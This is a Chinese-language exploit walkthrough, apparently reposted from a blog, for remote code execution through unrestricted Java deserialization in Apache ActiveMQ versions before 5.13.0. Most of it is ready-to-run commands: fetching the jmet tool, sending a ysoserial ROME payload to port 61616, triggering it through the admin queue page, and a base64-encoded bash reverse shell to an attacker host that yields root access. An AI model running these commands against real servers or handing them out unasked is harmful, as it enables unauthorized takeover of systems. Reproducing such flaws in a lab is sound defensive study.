1.漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
2.漏洞利用过程如下:
①构造可执行命令的序列化对象
②作为一个消息,发送到目标61616端口
③访问web管理页面,读取信息,触发漏洞
3.漏洞复现:
1.首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
2.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机的ip 61616
3.它会给你的ID,访问http://你的ip:8161:8161/admin/queues.jsp
4.利用方式也很简单,我们只要将命令换成反弹shell语句再利用就行了。不过在这里我们需要一些小技巧来绕过Java的机制。
bash -i >& /dev/tcp/***机IP/8888 0>&1 bese64编码
把编码放进去。
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
5.然后我们是使用同样的命令将payload发送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 靶机ip 61616
6.然后我们查看这条消息,触发命令执行,这时我们在***机上监听端口,即可得到shell。
7.这就成功进来了,root权限!
原文地址:https://blog.51cto.com/14259144/2420683